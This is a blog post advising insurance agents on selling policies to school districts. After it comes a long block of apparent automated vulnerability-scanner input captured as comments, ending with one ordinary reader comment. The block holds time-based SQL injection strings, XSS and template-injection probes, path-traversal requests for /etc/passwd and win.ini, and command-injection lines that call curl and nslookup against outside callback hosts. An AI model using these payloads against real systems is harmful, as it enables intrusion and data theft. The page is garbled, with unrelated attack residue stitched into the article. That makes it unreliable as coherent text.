One of our great customers, a user of our agency management system, shared his success story with me. He concentrates on selling insurance to school districts in northern California. I did some research on the subject and with his permission decided to share my findings as well as his experiences in a blog post.

Schools are substantially increasing their spending on insurance. Teachers' salaries are low, and health insurance is one benefit most school districts tend to offer as a token of appreciation and a tool for employee retention. The increasing number of school shootings, people taking inappropriate pictures of children and the overall culture of filing bogus claims by parents and students alike is creating a very high demand for school districts liability insurance policies. With high demand, a high premium for those policies is also to be expected.

School districts are spending millions on yearly insurance premiums. Here is an example of a small school district in OH spending over six million a year on insurance premiums (resource for the graph and data below comes from http://www.fcs.org/financial/1stQuarterReports.pdf).

Overall not a bad business climate condition for an agent that concentrates on selling insurance policies to school districts. But how can one enter such a difficult market? Where does an agent begin to play his cards to have even a shot at offering a quote to a school district's superintendent? Well, it's not as scary and unattainable as it seems.

You need not feel blind to the school market. Study the environment and understand where, when, and how you can best make your first call. Timing is everything in the school market and miscalculating your efforts will yield poor results that are often misinterpreted. Many insurance agents have tried entering the game with unrealistic expectations and with inadequate resources to stick with the program and reap the rewards that will eventually come if you play the game by the rules. Pinpoint the school districts you are planning on approaching. Do your homework to find out how much money they are spending on insurance every year.

This information is available to the public and often summarized in yearly or even quarterly spending reports. You can try by visiting the school district's website, or you may have to make a few calls to their accounting department, but you should definitely know the premium they are spending on insurance before proceeding to the next step. Besides the money they are spending, you must know the types of policies and coverages they are buying. You should be well aware of the limits they need and any inclusions, exclusions or special conditions that must be met.

Many conferences and symposiums are designed to cater specifically to educators. As an agent wanting to sell insurance to school districts, attending these conferences may be a great opportunity to meet the decision makers in person. No matter how reliant we become on technology and how persuasive we are at writing emails and speaking on the phone, there is no substitute for the personal impact one can make by having a face-to-face meeting with a potential client.

Another way to learn more about your audience is to read what they read. Become interested in the issues your clients care about. Subscribing to publications such as: districtadministration.com or edweek.org/ew/ and eschoolnews.com can bring you up to date on the issues school administrators are concerned with at the moment. Getting involved in these affairs will prepare you to strike a meaningful and engaging conversation with your potential clients. They will appreciate the fact that you have an opinion on the subjects that matter most to them.

Connecting with the organizations and associations representing school districts is another way to tune in and become closer to your audience. You can sponsor or volunteer your time at events organized by these organizations. Once you gain one customer who is part of such a group, then you can ask that customer to recommend, or at least introduce you to other members of the group.

I know you are passionate about selling insurance. I know that finding the right type of client, the one that fits your personality and at the same time answers to your goals in life may be easier said than done. When it comes to choosing our audience, we have the tendency to choose the path of least resistance. I want to encourage you to keep your passion about selling insurance in general but also to get the help you need to be successful with sales directed to the type of clients which will ultimately bring you the right balance of time spent at work and at home. The type of clients which will satisfy your personal financial goals as well as the goals you have set for your family, friends and hobbies. Nothing worth working for comes easy. Selling insurance policies to schools is no exception! However, with the type of money school districts are spending on insurance, your time spent on researching the possibilities may just be the key to accomplishing some of those ambitious pecuniary goals.

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1 waitfor delay '0:0:15' --

1

1

iX9vatTd')) OR 86=(SELECT 86 FROM PG_SLEEP(15))--

-1); waitfor delay '0:0:15' --

1����%2527%2522

-1' OR 2+665-665-1=0+0+0+1 --

-1; waitfor delay '0:0:15' --

1

i6B0hJNv') OR 983=(SELECT 983 FROM PG_SLEEP(15))--

iKpxqSCo'; waitfor delay '0:0:15' --

1

if(now()=sysdate(),sleep(15),0)

xKYHqv5x'); waitfor delay '0:0:15' --

1

1

1

-5) OR 190=(SELECT 190 FROM PG_SLEEP(15))--

-1 OR 3+31-31-1=0+0+0+1

-1 OR 2+736-736-1=0+0+0+1 --

-1' OR 3+665-665-1=0+0+0+1 --

-5 OR 903=(SELECT 903 FROM PG_SLEEP(15))--

-1)) OR 752=(SELECT 752 FROM PG_SLEEP(15))--

-1" OR 3+842-842-1=0+0+0+1 --

1

-1)); waitfor delay '0:0:15' --

-1" OR 2+842-842-1=0+0+0+1 --

WRggNbeN' OR 138=(SELECT 138 FROM PG_SLEEP(15))--

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

-1 OR 2+31-31-1=0+0+0+1

VHRXsSTK')); waitfor delay '0:0:15' --

1'"

@@ZsB4G

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

1

-1' OR 3+144-144-1=0+0+0+1 or 'lMSMS1dn'='

-1' OR 2+144-144-1=0+0+0+1 or 'lMSMS1dn'='

1

1

1

1

-1 OR 3+736-736-1=0+0+0+1 --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1

1CZuIqfkP') OR 293=(SELECT 293 FROM PG_SLEEP(15))--

1����%2527%2522\'\"

1

1'"

1

1

19OeG19oO')) OR 284=(SELECT 284 FROM PG_SLEEP(15))--

1

@@W8Iq1

1

1

1PobNqE3q' OR 582=(SELECT 582 FROM PG_SLEEP(15))--

1-1)) OR 636=(SELECT 636 FROM PG_SLEEP(15))--

1-1) OR 77=(SELECT 77 FROM PG_SLEEP(15))--

12MRlnwhS')); waitfor delay '0:0:15' --

1-1); waitfor delay '0:0:15' --

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

1-1)); waitfor delay '0:0:15' --

1-1 waitfor delay '0:0:15' --

1-1 OR 551=(SELECT 551 FROM PG_SLEEP(15))--

17Ow0eUpS'); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1WKERfw1o'; waitfor delay '0:0:15' --

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1-1; waitfor delay '0:0:15' --

-1 OR 3+779-779-1=0+0+0+1

-1 OR 3+46-46-1=0+0+0+1 --

-1' OR 3+777-777-1=0+0+0+1 --

-1' OR 3+953-953-1=0+0+0+1 or 'AFj5Qvk9'='

1

1

-1" OR 3+570-570-1=0+0+0+1 --

-1' OR 2+953-953-1=0+0+0+1 or 'AFj5Qvk9'='

-1" OR 2+570-570-1=0+0+0+1 --

-1 OR 2+779-779-1=0+0+0+1

-1' OR 2+777-777-1=0+0+0+1 --

1*if(now()=sysdate(),sleep(15),0)

-1 OR 2+46-46-1=0+0+0+1 --

1

1<ScRiPt>o8mL(9838)</sCripT>

bfgx6759%C0%BEz1%C0%BCz2a%90bcxhjl6759

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6F%38%6D%4C%28%39%37%34%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

%31%3C%53%63%52%69%50%74%20%3E%6F%38%6D%4C%289196%29%3C%2F%73%43%72%69%70%54%3E

1\u003CScRiPt\o8mL(9939)\u003C/sCripT\u003E

1}body{zzz:Expre/**/SSion(o8mL(9602))}

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg5360%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5360

19576854

1\u003CScRiPt\fO59(9305)\u003C/sCripT\u003E

bfg8626%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8626

1<ScRiPt>fO59(9816)</sCripT>

bfgx5922%C0%BEz1%C0%BCz2a%90bcxhjl5922

%31%3C%53%63%52%69%50%74%20%3E%66%4F%35%39%289916%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%66%4F%35%39%28%39%37%30%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

19465089

1}body{zzz:Expre/**/SSion(fO59(9690))}

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1\u003CScRiPt\qqFy(9986)\u003C/sCripT\u003E

%31%3C%53%63%52%69%50%74%20%3E%71%71%46%79%289276%29%3C%2F%73%43%72%69%70%54%3E

1}body{zzz:Expre/**/SSion(qqFy(9147))}

1<ScRiPt>qqFy(9291)</sCripT>

dfb[[${98991*97996}]]xca

bfgx4141%C0%BEz1%C0%BCz2a%90bcxhjl4141

bfg5215%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5215

dfb__${98991*97996}__::.x

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%71%71%46%79%28%39%38%34%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

19633154

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1gXqMDxmf') OR 659=(SELECT 659 FROM PG_SLEEP(15))--

@@MscgT

1

1����%2527%2522\'\"

1BPKIACvn'); waitfor delay '0:0:15' --

1

1

1

1-1)) OR 125=(SELECT 125 FROM PG_SLEEP(15))--

1

1

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

1

1'"

1

1

1

1GK0WnZzs')) OR 511=(SELECT 511 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1-1 OR 910=(SELECT 910 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1-1) OR 952=(SELECT 952 FROM PG_SLEEP(15))--

1MS3AkPWf' OR 303=(SELECT 303 FROM PG_SLEEP(15))--

1

1

1

1

1

1wFDZW7lR'; waitfor delay '0:0:15' --

1cjsOJaxj')); waitfor delay '0:0:15' --

1

1

1

1

1

1

dfb{{=98991*97996}}xca

-1" OR 3+871-871-1=0+0+0+1 --

1

1

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

1

1

1

dfb${98991*97996}xca

1

1

1

dfb{{98991*97996}}xca

1

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

dfb#{xca}=123

1

dfb__${98991*97996}__::.x

dfb{#98991*97996}xca

1

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

dfb{{98991*97996}}xca

1

dfb#{98991*97996}xca

98991*97996*98991*97996

1

1

1

1

1

1-1 waitfor delay '0:0:15' --

1

1

-1' OR 2+386-386-1=0+0+0+1 or 'uyzgUk1m'='

1

dfb{98991*97996}xca

dfb@(98991*97996)xca

dfb{{'abcd'.toUpperCase()}}xca

dfb#set($x=98991*97996)${x}xca

1

1*if(now()=sysdate(),sleep(15),0)

1

dfb{{98991*97996}}xca

%31%3C%53%63%52%69%50%74%20%3E%4E%6B%72%61%289813%29%3C%2F%73%43%72%69%70%54%3E

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

-1' OR 3+583-583-1=0+0+0+1 --

dfb{{"abc"|title}}xca

1<ScRiPt>Nkra(9556)</sCripT>

dfb[[${98991*97996}]]xca

1

1

1

-1' OR 3+386-386-1=0+0+0+1 or 'uyzgUk1m'='

#{98991*97996*98991*97996}

1

1\u003CScRiPt\Nkra(9241)\u003C/sCripT\u003E

1-1; waitfor delay '0:0:15' --

1

1-1)); waitfor delay '0:0:15' --

1

1

1

print("dfb" . 98991*97996 . "xca");

1

1

1

1

-1" OR 2+871-871-1=0+0+0+1 --

1-1); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

dfb{{{this}}}xca

1}body{zzz:Expre/**/SSion(Nkra(9099))}

1

1

1

dfb{@math key=98991 method="multiply" operand=97996/}xca

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4E%6B%72%61%28%39%35%30%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

1

1

../1

&(nslookup -q=cname hitpsuemeyxpfd923a.bxss.me||curl hitpsuemeyxpfd923a.bxss.me)&'\"`0&(nslookup -q=cname hitpsuemeyxpfd923a.bxss.me||curl hitpsuemeyxpfd923a.bxss.me)&`'

1

1

1

bxss.me/t/xss.html?%00

http://bxss.me/t/fit.txt%3F.jpg

!(()&&!|*|*|

1

"+response.write(9681076*9073854)+"

1

1

'+'A'.concat(70-3).concat(22*4).concat(112).concat(81).concat(102).concat(90)+(require'socket' Socket.gethostbyname('hitkp'+'nastsilb7668d.bxss.me.')[3].to_s)+'

1

1

//xfs.bxss.me?nowcerts.com

'"

1

`(nslookup -q=cname hitexfrxbzmva0ff77.bxss.me||curl hitexfrxbzmva0ff77.bxss.me)`

1

1

1

$(nslookup -q=cname hityrxphpeuqxfa462.bxss.me||curl hityrxphpeuqxfa462.bxss.me)

'.gethostbyname(lc('hitbd'.'jfhntycqc3262.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(83).chr(118).chr(82).'

./1

http://xfs.bxss.me?nowcerts.com

1

1

bfg9727%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9727

1

1

1

c:/windows/win.ini

-1 OR 2+25-25-1=0+0+0+1 --

&echo vvseqy$()\ sdwagh\nz^xyu||a #' &echo vvseqy$()\ sdwagh\nz^xyu||a #|" &echo vvseqy$()\ sdwagh\nz^xyu||a #

19136598

/\xfs.bxss.me?nowcerts.com

1

1

1

1

1

1

;(nslookup -q=cname hitvipyvjzbgd36369.bxss.me||curl hitvipyvjzbgd36369.bxss.me)|(nslookup -q=cname hitvipyvjzbgd36369.bxss.me||curl hitvipyvjzbgd36369.bxss.me)&(nslookup -q=cname hitvipyvjzbgd36369.bxss.me||curl hitvipyvjzbgd36369.bxss.me)

&nslookup -q=cname hitamrgpwisxd42700.bxss.me&'\"`0&nslookup -q=cname hitamrgpwisxd42700.bxss.me&`'

bxss.me

1

";print(md5(31337));$a="

../../../../../../../../../../../../../../windows/win.ini

1

1

-1' OR 2+583-583-1=0+0+0+1 --

1|echo xpgfnj$()\ xqjeto\nz^xyu||a #' |echo xpgfnj$()\ xqjeto\nz^xyu||a #|" |echo xpgfnj$()\ xqjeto\nz^xyu||a #

|echo tvkwys$()\ kodkgp\nz^xyu||a #' |echo tvkwys$()\ kodkgp\nz^xyu||a #|" |echo tvkwys$()\ kodkgp\nz^xyu||a #

1

../../../../../../../../../../../../../../etc/passwd

'.print(md5(31337)).'

1

response.write(9681076*9073854)

1

|(nslookup -q=cname hitkfghquyief0b3ea.bxss.me||curl hitkfghquyief0b3ea.bxss.me)

1&echo uevzpl$()\ lhvtxj\nz^xyu||a #' &echo uevzpl$()\ lhvtxj\nz^xyu||a #|" &echo uevzpl$()\ lhvtxj\nz^xyu||a #

1

1

'+response.write(9681076*9073854)+'

1

1

1

1"&&sleep(27*1000)*movnlt&&"

1

1

-1 OR 3+303-303-1=0+0+0+1

1

988178

-1 OR 3+25-25-1=0+0+0+1 --

'"()

1

1

1

1

1

${@print(md5(31337))}

1

1

1

bfgx3839%C0%BEz1%C0%BCz2a%90bcxhjl3839

1

1

1

)

(nslookup -q=cname hitgtrkdfvsen57277.bxss.me||curl hitgtrkdfvsen57277.bxss.me))

-1 OR 2+303-303-1=0+0+0+1

1

1

1

1'&&sleep(27*1000)*lhnvvp&&'

1Yh3mvvynO

1

1

1

^(#$!@#$)(()))******

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

1

HttP://bxss.me/t/xss.html?%00

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1'||sleep(27*1000)*ftekil||'

1

xfs.bxss.me?nowcerts.com

1

xfs.bxss.me

"+"A".concat(70-3).concat(22*4).concat(106).concat(65).concat(97).concat(90)+(require"socket" Socket.gethostbyname("hitoj"+"uehkesszd18c9.bxss.me.")[3].to_s)+"

file:///etc/passwd

1

".gethostbyname(lc("hitmc"."alahcpcl7b5b9.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(79).chr(101).chr(88)."

1

1

1

/etc/shells

${@print(md5(31337))}\

Http://bxss.me/t/fit.txt

1

1

1"||sleep(27*1000)*ahvsev||"

1

1

';print(md5(31337));$a='

1

${9999475+10000269}

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1����%2527%2522

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

HVqrcMoe') OR 736=(SELECT 736 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1'"

@@sBfNX

ED8yX6lZ')) OR 544=(SELECT 544 FROM PG_SLEEP(15))--

fOY0gqnu')); waitfor delay '0:0:15' --

-5) OR 360=(SELECT 360 FROM PG_SLEEP(15))--

kgRYfHjY' OR 693=(SELECT 693 FROM PG_SLEEP(15))--

-1)) OR 929=(SELECT 929 FROM PG_SLEEP(15))--

-5 OR 67=(SELECT 67 FROM PG_SLEEP(15))--

mHcUbLOV'); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

HyPAoGDL'; waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0)

-1" OR 3+896-896-1=0+0+0+1 --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

-1 OR 3+481-481-1=0+0+0+1 --

-1' OR 2+297-297-1=0+0+0+1 --

-1 OR 3+228-228-1=0+0+0+1

-1' OR 3+426-426-1=0+0+0+1 or '7d5SocCl'='

-1" OR 2+896-896-1=0+0+0+1 --

1

-1' OR 3+297-297-1=0+0+0+1 --

-1 OR 2+228-228-1=0+0+0+1

-1 OR 2+481-481-1=0+0+0+1 --

-1' OR 2+426-426-1=0+0+0+1 or '7d5SocCl'='

1

1

1

1

1

1

1

@@TPdTq

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

ioWrrosP')) OR 725=(SELECT 725 FROM PG_SLEEP(15))--

1

1

1

1

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

1

1

1����%2527%2522

1

1

1

1

1

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1

1

-5) OR 538=(SELECT 538 FROM PG_SLEEP(15))--

1

1

1

1

1

MEiCL5ry') OR 559=(SELECT 559 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1'"

1

-1)) OR 647=(SELECT 647 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1

1

1

1

1

1

oSQpelDU' OR 889=(SELECT 889 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1

-1 OR 3+340-340-1=0+0+0+1

-1 OR 2+340-340-1=0+0+0+1

-1" OR 2+624-624-1=0+0+0+1 --

-1; waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1 OR 2+970-970-1=0+0+0+1 --

1

qVKwLxiN')); waitfor delay '0:0:15' --

-1' OR 2+365-365-1=0+0+0+1 or '7on9vDVV'='

1

RvXosFLg'; waitfor delay '0:0:15' --

-1" OR 3+624-624-1=0+0+0+1 --

1 waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0)

-1); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1' OR 3+380-380-1=0+0+0+1 --

-1)); waitfor delay '0:0:15' --

-1' OR 3+365-365-1=0+0+0+1 or '7on9vDVV'='

hNE5qbvn'); waitfor delay '0:0:15' --

-1 OR 3+970-970-1=0+0+0+1 --

-1' OR 2+380-380-1=0+0+0+1 --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

-5 OR 426=(SELECT 426 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'"

1

1����%2527%2522

@@2NPoz

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

-5 OR 154=(SELECT 154 FROM PG_SLEEP(15))--

nxfLnYfB' OR 911=(SELECT 911 FROM PG_SLEEP(15))--

XJBIjb1c') OR 224=(SELECT 224 FROM PG_SLEEP(15))--

OfI198F6')); waitfor delay '0:0:15' --

-5) OR 41=(SELECT 41 FROM PG_SLEEP(15))--

k58wCrRF')) OR 957=(SELECT 957 FROM PG_SLEEP(15))--

-1)) OR 351=(SELECT 351 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1 waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

POJEhPCv'; waitfor delay '0:0:15' --

o6WN2cLu'); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1' OR 2+293-293-1=0+0+0+1 or '4E6yPrkn'='

if(now()=sysdate(),sleep(15),0)

-1' OR 3+293-293-1=0+0+0+1 or '4E6yPrkn'='

-1" OR 2+691-691-1=0+0+0+1 --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1 OR 2+120-120-1=0+0+0+1 --

-1' OR 2+388-388-1=0+0+0+1 --

-1' OR 3+388-388-1=0+0+0+1 --

-1 OR 2+222-222-1=0+0+0+1

1

-1" OR 3+691-691-1=0+0+0+1 --

-1 OR 3+222-222-1=0+0+0+1

-1 OR 3+120-120-1=0+0+0+1 --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

@@9swJM

1����%2527%2522

1'"

eXxZbm6V') OR 627=(SELECT 627 FROM PG_SLEEP(15))--

B0KISB4I')) OR 613=(SELECT 613 FROM PG_SLEEP(15))--

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

-1)) OR 432=(SELECT 432 FROM PG_SLEEP(15))--

-5) OR 31=(SELECT 31 FROM PG_SLEEP(15))--

yQ1yQ43P' OR 15=(SELECT 15 FROM PG_SLEEP(15))--

-5 OR 528=(SELECT 528 FROM PG_SLEEP(15))--

1 waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

r568qzFg')); waitfor delay '0:0:15' --

C3OIeLG7'); waitfor delay '0:0:15' --

BguNYlMh'; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1 OR 3+821-821-1=0+0+0+1

-1' OR 3+385-385-1=0+0+0+1 --

-1' OR 2+139-139-1=0+0+0+1 or 'FgVEMy1G'='

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

-1" OR 3+223-223-1=0+0+0+1 --

-1" OR 2+223-223-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

-1 OR 2+821-821-1=0+0+0+1

-1 OR 3+631-631-1=0+0+0+1 --

-1 OR 2+631-631-1=0+0+0+1 --

-1' OR 3+139-139-1=0+0+0+1 or 'FgVEMy1G'='

-1' OR 2+385-385-1=0+0+0+1 --

1

I love this article, thanks a lot.